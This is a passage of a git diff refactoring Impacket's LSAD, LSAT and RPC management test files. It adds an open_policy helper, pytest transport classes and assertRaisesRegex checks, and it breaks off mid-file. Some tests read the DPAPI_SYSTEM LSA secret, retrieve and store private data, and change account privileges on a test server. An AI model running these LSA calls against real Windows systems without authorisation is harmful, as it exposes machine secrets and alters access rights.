resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical() @@ -434,7 +461,8 @@ def test_hLsarCreateAccount_hLsarDeleteObject(self): resp.dump() def test_LsarEnumeratePrivilegesAccount(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) sid = 'S-1-5-32-544' request = lsad.LsarOpenAccount() @@ -450,7 +478,8 @@ def test_LsarEnumeratePrivilegesAccount(self): resp.dump() def test_hLsarEnumeratePrivilegesAccount(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) sid = 'S-1-5-32-544' resp = lsad.hLsarOpenAccount(dce, policyHandle, sid) @@ -460,7 +489,8 @@ def test_hLsarEnumeratePrivilegesAccount(self): resp.dump() def test_LsarGetSystemAccessAccount_LsarSetSystemAccessAccount(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) sid = 'S-1-5-32-544' request = lsad.LsarOpenAccount() @@ -482,7 +512,8 @@ def test_LsarGetSystemAccessAccount_LsarSetSystemAccessAccount(self): resp.dump() def test_hLsarGetSystemAccessAccount_hLsarSetSystemAccessAccount(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) sid = 'S-1-5-32-544' resp = lsad.hLsarOpenAccount(dce, policyHandle, sid) @@ -495,7 +526,8 @@ def test_hLsarGetSystemAccessAccount_hLsarSetSystemAccessAccount(self): resp.dump() def test_LsarAddPrivilegesToAccount_LsarRemovePrivilegesFromAccount(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarQueryInformationPolicy2() request['PolicyHandle'] = policyHandle request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation @@ -524,10 +556,10 @@ def test_LsarAddPrivilegesToAccount_LsarRemovePrivilegesFromAccount(self): try: resp = dce.request(request) resp.dump() - except: + except Exception: request = lsad.LsarDeleteObject() request['ObjectHandle'] = accountHandle - resp = dce.request(request) + dce.request(request) return request = lsad.LsarRemovePrivilegesFromAccount() @@ -543,7 +575,8 @@ def test_LsarAddPrivilegesToAccount_LsarRemovePrivilegesFromAccount(self): resp.dump() def test_hLsarAddPrivilegesToAccount_hLsarRemovePrivilegesFromAccount(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle,lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) @@ -562,7 +595,7 @@ def test_hLsarAddPrivilegesToAccount_hLsarRemovePrivilegesFromAccount(self): try: resp = lsad.hLsarAddPrivilegesToAccount(dce,accountHandle, attributes) resp.dump() - except: + except Exception: resp = lsad.hLsarDeleteObject(dce, accountHandle) return @@ -573,7 +606,8 @@ def test_hLsarAddPrivilegesToAccount_hLsarRemovePrivilegesFromAccount(self): resp.dump() def test_LsarEnumerateAccountRights(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) sid = 'S-1-5-32-544' request = lsad.LsarEnumerateAccountRights() @@ -583,14 +617,16 @@ def test_LsarEnumerateAccountRights(self): resp.dump() def test_hLsarEnumerateAccountRights(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) sid = 'S-1-5-32-544' resp = lsad.hLsarEnumerateAccountRights(dce, policyHandle, sid) resp.dump() def test_LsarAddAccountRights_LsarRemoveAccountRights(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) sid = 'S-1-5-32-504' request = lsad.LsarAddAccountRights() @@ -614,7 +650,8 @@ def test_LsarAddAccountRights_LsarRemoveAccountRights(self): resp.dump() def test_hLsarAddAccountRights_hLsarRemoveAccountRights(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) sid = 'S-1-5-32-504' resp = lsad.hLsarAddAccountRights(dce, policyHandle, sid, ('SeChangeNotifyPrivilege', )) @@ -623,7 +660,8 @@ def test_hLsarAddAccountRights_hLsarRemoveAccountRights(self): resp.dump() def test_LsarCreateSecret_LsarOpenSecret(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarCreateSecret() request['PolicyHandle'] = policyHandle @@ -652,7 +690,7 @@ def test_LsarCreateSecret_LsarOpenSecret(self): try: resp = dce.request(request) resp.dump() - except: + except Exception: pass request = lsad.LsarDeleteObject() @@ -661,7 +699,8 @@ def test_LsarCreateSecret_LsarOpenSecret(self): resp.dump() def test_hLsarCreateSecret_hLsarOpenSecret(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsad.hLsarCreateSecret(dce, policyHandle, 'MYSECRET') resp.dump() @@ -672,14 +711,15 @@ def test_hLsarCreateSecret_hLsarOpenSecret(self): try: resp = lsad.hLsarSetSecret(dce, resp0['SecretHandle'], 'A'*16, 'A'*16) resp.dump() - except: + except Exception: pass resp = lsad.hLsarDeleteObject(dce,resp0['SecretHandle']) resp.dump() def test_LsarQuerySecret(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarOpenSecret() request['PolicyHandle'] = policyHandle @@ -697,7 +737,8 @@ def test_LsarQuerySecret(self): resp.dump() def test_hLsarQuerySecret(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp0 = lsad.hLsarOpenSecret(dce, policyHandle, 'DPAPI_SYSTEM') resp0.dump() @@ -706,7 +747,8 @@ def test_hLsarQuerySecret(self): resp.dump() def test_LsarRetrievePrivateData_LsarStorePrivateData(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarRetrievePrivateData() request['PolicyHandle'] = policyHandle @@ -729,9 +771,10 @@ def test_LsarRetrievePrivateData_LsarStorePrivateData(self): resp.dump() def test_hLsarRetrievePrivateData_hLsarStorePrivateData(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) - resp0 = lsad.hLsarRetrievePrivateData(dce,policyHandle,'DPAPI_SYSTEM') + resp0 = lsad.hLsarRetrievePrivateData(dce,policyHandle, 'DPAPI_SYSTEM') #hexdump(resp0) resp = lsad.hLsarStorePrivateData(dce, policyHandle, 'BETUS', resp0) @@ -741,7 +784,8 @@ def test_hLsarRetrievePrivateData_hLsarStorePrivateData(self): resp.dump() def test_LsarEnumeratePrivileges(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarEnumeratePrivileges() request['PolicyHandle'] = policyHandle @@ -750,18 +794,20 @@ def test_LsarEnumeratePrivileges(self): resp = dce.request(request) resp.dump() - self.assertTrue( resp['EnumerationBuffer']['Entries'] == len(resp['EnumerationBuffer']['Privileges'] ) ) + self.assertEqual(resp['EnumerationBuffer']['Entries'], len(resp['EnumerationBuffer']['Privileges'])) def test_hLsarEnumeratePrivileges(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsad.hLsarEnumeratePrivileges(dce, policyHandle) resp.dump() - self.assertTrue( resp['EnumerationBuffer']['Entries'] == len(resp['EnumerationBuffer']['Privileges'] ) ) + self.assertEqual(resp['EnumerationBuffer']['Entries'], len(resp['EnumerationBuffer']['Privileges'])) def test_LsarLookupPrivilegeValue_LsarLookupPrivilegeName(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarLookupPrivilegeValue() request['PolicyHandle'] = policyHandle @@ -775,10 +821,11 @@ def test_LsarLookupPrivilegeValue_LsarLookupPrivilegeName(self): resp = dce.request(request) resp.dump() - self.assertTrue( resp['Name'] == 'SeTimeZonePrivilege') + self.assertEqual(resp['Name'], 'SeTimeZonePrivilege') def test_hLsarLookupPrivilegeValue_hLsarLookupPrivilegeName(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsad.hLsarLookupPrivilegeValue(dce, policyHandle,'SeTimeZonePrivilege' ) resp.dump() @@ -786,10 +833,11 @@ def test_hLsarLookupPrivilegeValue_hLsarLookupPrivilegeName(self): resp = lsad.hLsarLookupPrivilegeName(dce, policyHandle, resp['Value']) resp.dump() - self.assertTrue( resp['Name'] == 'SeTimeZonePrivilege') + self.assertEqual(resp['Name'], 'SeTimeZonePrivilege') def test_LsarLookupPrivilegeDisplayName(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarLookupPrivilegeDisplayName() request['PolicyHandle'] = policyHandle @@ -800,7 +848,8 @@ def test_LsarLookupPrivilegeDisplayName(self): resp.dump() def test_LsarQuerySecurityObject_LsarSetSecurityObject(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarQuerySecurityObject() request['PolicyHandle'] = policyHandle @@ -808,7 +857,7 @@ def test_LsarQuerySecurityObject_LsarSetSecurityObject(self): resp = dce.request(request) resp.dump() - self.assertTrue( resp['SecurityDescriptor']['Length'] == len(resp['SecurityDescriptor']['SecurityDescriptor']) ) + self.assertEqual(resp['SecurityDescriptor']['Length'], len(resp['SecurityDescriptor']['SecurityDescriptor'])) request = lsad.LsarSetSecurityObject() request['PolicyHandle'] = policyHandle @@ -818,7 +867,8 @@ def test_LsarQuerySecurityObject_LsarSetSecurityObject(self): resp.dump() def test_hLsarQuerySecurityObject_hLsarSetSecurityObject(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsad.hLsarQuerySecurityObject(dce, policyHandle, lsad.OWNER_SECURITY_INFORMATION) hexdump(resp) @@ -827,7 +877,8 @@ def test_hLsarQuerySecurityObject_hLsarSetSecurityObject(self): resp.dump() def test_LsarQueryForestTrustInformation(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarQueryForestTrustInformation() request['PolicyHandle'] = policyHandle @@ -841,7 +892,8 @@ def test_LsarQueryForestTrustInformation(self): raise def test_LsarSetInformationPolicy2(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarQueryInformationPolicy2() request['PolicyHandle'] = policyHandle request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation @@ -881,7 +933,7 @@ def test_LsarSetInformationPolicy2(self): #resp = dce.request(request) #resp.dump() - #self.assertTrue( 'BETUS' == resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] ) + #self.assertEqual('BETUS', resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Name']) #req['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] = oldValue #resp2 = dce.request(req) @@ -905,7 +957,7 @@ def test_LsarSetInformationPolicy2(self): #resp = dce.request(request) #resp.dump() - #self.assertTrue( 'BETUS' == resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] ) + #self.assertEqual('BETUS', resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainName']) #req['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] = oldValue #resp2 = dce.request(req) @@ -916,7 +968,8 @@ def test_LsarSetInformationPolicy2(self): # ToDo rest of the Information Classes def test_hLsarSetInformationPolicy2(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation) resp.dump() oldValue = resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] @@ -933,7 +986,8 @@ def test_hLsarSetInformationPolicy2(self): resp2.dump() def test_LsarSetInformationPolicy(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarQueryInformationPolicy() request['PolicyHandle'] = policyHandle request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation @@ -972,7 +1026,7 @@ def test_LsarSetInformationPolicy(self): #resp = dce.request(request) #resp.dump() - #self.assertTrue( 'BETUS' == resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] ) + #self.assertEqual('BETUS', resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Name']) #req['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] = oldValue #resp2 = dce.request(req) @@ -996,7 +1050,7 @@ def test_LsarSetInformationPolicy(self): #resp = dce.request(request) #resp.dump() - #self.assertTrue( 'BETUS' == resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] ) + #self.assertEqual('BETUS', resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainName']) #req['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] = oldValue #resp2 = dce.request(req) @@ -1007,7 +1061,8 @@ def test_LsarSetInformationPolicy(self): # ToDo rest of the Information Classes def test_hLsarSetInformationPolicy(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation) resp.dump() oldValue = resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] @@ -1023,41 +1078,17 @@ def test_hLsarSetInformationPolicy(self): resp2 = lsad.hLsarSetInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation, resp['PolicyInformation'] ) resp2.dump() -class SMBTransport(LSADTests): - def setUp(self): - LSADTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\lsarpc]' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class SMBTransport64(LSADTests): - def setUp(self): - LSADTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\lsarpc]' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') + +@pytest.mark.remote +class LSADTestsSMBTransport(LSADTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class LSADTestsSMBTransport64(LSADTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + # Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_lsat.py b/tests/dcerpc/test_lsat.py similarity index 55% rename from tests/SMB_RPC/test_lsat.py rename to tests/dcerpc/test_lsat.py index 9d0d58a365..bf8c459f2b 100644 --- a/tests/SMB_RPC/test_lsat.py +++ b/tests/dcerpc/test_lsat.py @@ -1,51 +1,39 @@ -############################################################################### -# Tested so far: +# Impacket - Collection of Python classes for working with network protocols. # -# LsarGetUserName -# LsarLookupNames -# LsarLookupSids -# LsarLookupSids2 -# LsarLookupNames3 -# LsarLookupNames2 +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # -# Not yet: +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. # -# LsarLookupNames4 -# LsarLookupSids3 -# -# Shouldn't dump errors against a win7 +# Tested so far: +# (h)LsarGetUserName +# (h)LsarLookupNames +# (h)LsarLookupNames2 +# (h)LsarLookupNames3 +# (h)LsarLookupNames4 +# (h)LsarLookupSids +# (h)LsarLookupSids2 +# LsarLookupSids3 # -################################################################################ - from __future__ import division from __future__ import print_function +import pytest import unittest -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser - -from impacket.dcerpc.v5 import transport -from impacket.dcerpc.v5 import lsat -from impacket.dcerpc.v5 import lsad +from six import assertRaisesRegex +from tests.dcerpc import DCERPCTests + +from impacket.dcerpc.v5 import lsat, lsad +from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING -class LSATTests(unittest.TestCase): - def connect(self): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) - dce.connect() - dce.bind(lsat.MSRPC_UUID_LSAT, transfer_syntax = self.ts) +class LSATTests(DCERPCTests): + iface_uuid = lsat.MSRPC_UUID_LSAT + string_binding = r"ncacn_np:{0.machine}[\PIPE\lsarpc]" + authn = True + + def open_policy(self, dce): request = lsad.LsarOpenPolicy2() request['SystemName'] = NULL request['ObjectAttributes']['RootDirectory'] = NULL @@ -54,12 +42,10 @@ def connect(self): request['ObjectAttributes']['SecurityQualityOfService'] = NULL request['DesiredAccess'] = MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES resp = dce.request(request) - - return dce, rpctransport, resp['PolicyHandle'] + return resp['PolicyHandle'] def test_LsarGetUserName(self): - dce, rpctransport, policyHandle = self.connect() - + dce, rpctransport = self.connect() request = lsat.LsarGetUserName() request['SystemName'] = NULL request['UserName'] = NULL @@ -68,14 +54,12 @@ def test_LsarGetUserName(self): resp.dump() def test_hLsarGetUserName(self): - dce, rpctransport, policyHandle = self.connect() - + dce, rpctransport = self.connect() resp = lsat.hLsarGetUserName(dce) resp.dump() def test_LsarLookupNames4(self): - # not working, I need netlogon here - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() request = lsat.LsarLookupNames4() request['Count'] = 2 @@ -89,36 +73,30 @@ def test_LsarLookupNames4(self): request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta request['LookupOptions'] = 0x00000000 request['ClientRevision'] = 0x00000001 - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - # The RPC server MUST ensure that the RPC_C_AUTHN_NETLOGON security provider - # (as specified in [MS-RPCE] section 2.2.1.1.7) and at least - # RPC_C_AUTHN_LEVEL_PKT_INTEGRITY authentication level (as specified in - # [MS-RPCE] section 2.2.1.1.8) are used in this RPC message. - # Otherwise, the RPC server MUST return STATUS_ACCESS_DENIED. - if str(e).find('rpc_s_access_denied') < 0: - raise + + # The RPC server MUST ensure that the RPC_C_AUTHN_NETLOGON security provider + # (as specified in [MS-RPCE] section 2.2.1.1.7) and at least + # RPC_C_AUTHN_LEVEL_PKT_INTEGRITY authentication level (as specified in + # [MS-RPCE] section 2.2.1.1.8) are used in this RPC message. + # Otherwise, the RPC server MUST return STATUS_ACCESS_DENIED. + with assertRaisesRegex(self, DCERPCException, 'rpc_s_access_denied'): + dce.request(request) def test_hLsarLookupNames4(self): # not working, I need netlogon here - dce, rpctransport, policyHandle = self.connect() - - try: - resp = lsat.hLsarLookupNames4(dce, ('Administrator', 'Guest')) - resp.dump() - except Exception as e: - # The RPC server MUST ensure that the RPC_C_AUTHN_NETLOGON security provider - # (as specified in [MS-RPCE] section 2.2.1.1.7) and at least - # RPC_C_AUTHN_LEVEL_PKT_INTEGRITY authentication level (as specified in - # [MS-RPCE] section 2.2.1.1.8) are used in this RPC message. - # Otherwise, the RPC server MUST return STATUS_ACCESS_DENIED. - if str(e).find('rpc_s_access_denied') < 0: - raise + dce, rpctransport = self.connect() + + # The RPC server MUST ensure that the RPC_C_AUTHN_NETLOGON security provider + # (as specified in [MS-RPCE] section 2.2.1.1.7) and at least + # RPC_C_AUTHN_LEVEL_PKT_INTEGRITY authentication level (as specified in + # [MS-RPCE] section 2.2.1.1.8) are used in this RPC message. + # Otherwise, the RPC server MUST return STATUS_ACCESS_DENIED. + with assertRaisesRegex(self, DCERPCException, 'rpc_s_access_denied'): + lsat.hLsarLookupNames4(dce, ('Administrator', 'Guest')) def test_LsarLookupNames3(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsat.LsarLookupNames3() request['PolicyHandle'] = policyHandle @@ -137,13 +115,15 @@ def test_LsarLookupNames3(self): resp.dump() def test_hLsarLookupNames3(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsat.hLsarLookupNames3(dce, policyHandle, ('Administrator', 'Guest')) resp.dump() def test_LsarLookupNames2(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsat.LsarLookupNames2() request['PolicyHandle'] = policyHandle @@ -162,19 +142,22 @@ def test_LsarLookupNames2(self): resp.dump() def test_hLsarLookupNames2(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsat.hLsarLookupNames2(dce, policyHandle, ('Administrator', 'Guest')) resp.dump() def test_hLsarLookupNames(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsat.hLsarLookupNames(dce, policyHandle, ('Administrator', 'Guest')) resp.dump() def test_LsarLookupNames(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsat.LsarLookupNames() request['PolicyHandle'] = policyHandle @@ -191,8 +174,8 @@ def test_LsarLookupNames(self): resp.dump() def test_LsarLookupSids3(self): - # not working, I need netlogon here - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsat.LsarLookupNames() request['PolicyHandle'] = policyHandle @@ -218,20 +201,18 @@ def test_LsarLookupSids3(self): request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta request['LookupOptions'] = 0x00000000 request['ClientRevision'] = 0x00000001 - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - # The RPC server MUST ensure that the RPC_C_AUTHN_NETLOGON security provider - # (as specified in [MS-RPCE] section 2.2.1.1.7) and at least - # RPC_C_AUTHN_LEVEL_PKT_INTEGRITY authentication level (as specified in - # [MS-RPCE] section 2.2.1.1.8) are used in this RPC message. - # Otherwise, the RPC server MUST return STATUS_ACCESS_DENIED. - if str(e).find('rpc_s_access_denied') < 0: - raise + + # The RPC server MUST ensure that the RPC_C_AUTHN_NETLOGON security provider + # (as specified in [MS-RPCE] section 2.2.1.1.7) and at least + # RPC_C_AUTHN_LEVEL_PKT_INTEGRITY authentication level (as specified in + # [MS-RPCE] section 2.2.1.1.8) are used in this RPC message. + # Otherwise, the RPC server MUST return STATUS_ACCESS_DENIED. + with assertRaisesRegex(self, DCERPCException, 'rpc_s_access_denied'): + dce.request(request) def test_LsarLookupSids2(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsat.LsarLookupNames() request['PolicyHandle'] = policyHandle @@ -262,7 +243,8 @@ def test_LsarLookupSids2(self): resp.dump() def test_hLsarLookupSids2(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsat.hLsarLookupNames(dce, policyHandle, ('Administrator',)) resp.dump() @@ -274,7 +256,8 @@ def test_hLsarLookupSids2(self): resp.dump() def test_LsarLookupSids(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsat.LsarLookupNames() request['PolicyHandle'] = policyHandle @@ -297,18 +280,13 @@ def test_LsarLookupSids(self): request['SidEnumBuffer']['Entries'] += 1 request['TranslatedNames']['Names'] = NULL request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_SOME_NOT_MAPPED') < 0: - raise - else: - resp = e.get_packet() - resp.dump() + + with assertRaisesRegex(self, DCERPCException, 'STATUS_SOME_NOT_MAPPED'): + dce.request(request) def test_hLsarLookupSids(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsat.hLsarLookupNames(dce, policyHandle, ('Administrator',)) resp.dump() @@ -317,53 +295,21 @@ def test_hLsarLookupSids(self): sids = list() for i in range(1000): sids.append(domainSid + '-%d' % (500+i)) - try: - resp = lsat.hLsarLookupSids(dce, policyHandle, sids ) - resp.dump() - except Exception as e: - if str(e).find('STATUS_SOME_NOT_MAPPED') < 0: - raise - else: - resp = e.get_packet() - resp.dump() - - -class SMBTransport(LSATTests): - def setUp(self): - LSATTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\lsarpc]' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class SMBTransport64(LSATTests): - def setUp(self): - LSATTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\lsarpc]' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') + + with assertRaisesRegex(self, DCERPCException, 'STATUS_SOME_NOT_MAPPED'): + lsat.hLsarLookupSids(dce, policyHandle, sids) + + +@pytest.mark.remote +class LSATTestsSMBTransport(LSATTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class LSATTestsSMBTransport64(LSATTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 # Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/dcerpc/test_mgmt.py b/tests/dcerpc/test_mgmt.py new file mode 100644 index 0000000000..b69a7889f9 --- /dev/null +++ b/tests/dcerpc/test_mgmt.py @@ -0,0 +1,128 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Tested so far: +# (h)inq_if_ids +# (h)inq_stats +# (h)is_server_listening +# (h)stop_server_listening +# (h)inq_princ_name +# +from __future__ import division +from __future__ import print_function +import pytest +import unittest +from six import assertRaisesRegex +from tests.dcerpc import DCERPCTests + +from impacket.dcerpc.v5 import mgmt +from impacket.dcerpc.v5.rpcrt import DCERPCException + + +class MGMTTests(DCERPCTests): + iface_uuid = mgmt.MSRPC_UUID_MGMT + string_binding = r"ncacn_np:{0.machine}[\pipe\epmapper]" + authn = True + + def test_inq_if_ids(self): + dce, transport = self.connect() + + request = mgmt.inq_if_ids() + resp = dce.request(request) + resp.dump() + #for i in range(resp['if_id_vector']['count']): + # print bin_to_uuidtup(resp['if_id_vector']['if_id'][i]['Data'].getData()) + # print + + def test_hinq_if_ids(self): + dce, transport = self.connect() + + resp = mgmt.hinq_if_ids(dce) + resp.dump() + + def test_inq_stats(self): + dce, transport = self.connect() + + request = mgmt.inq_stats() + request['count'] = 40 + resp = dce.request(request) + resp.dump() + + def test_hinq_stats(self): + dce, transport = self.connect() + + resp = 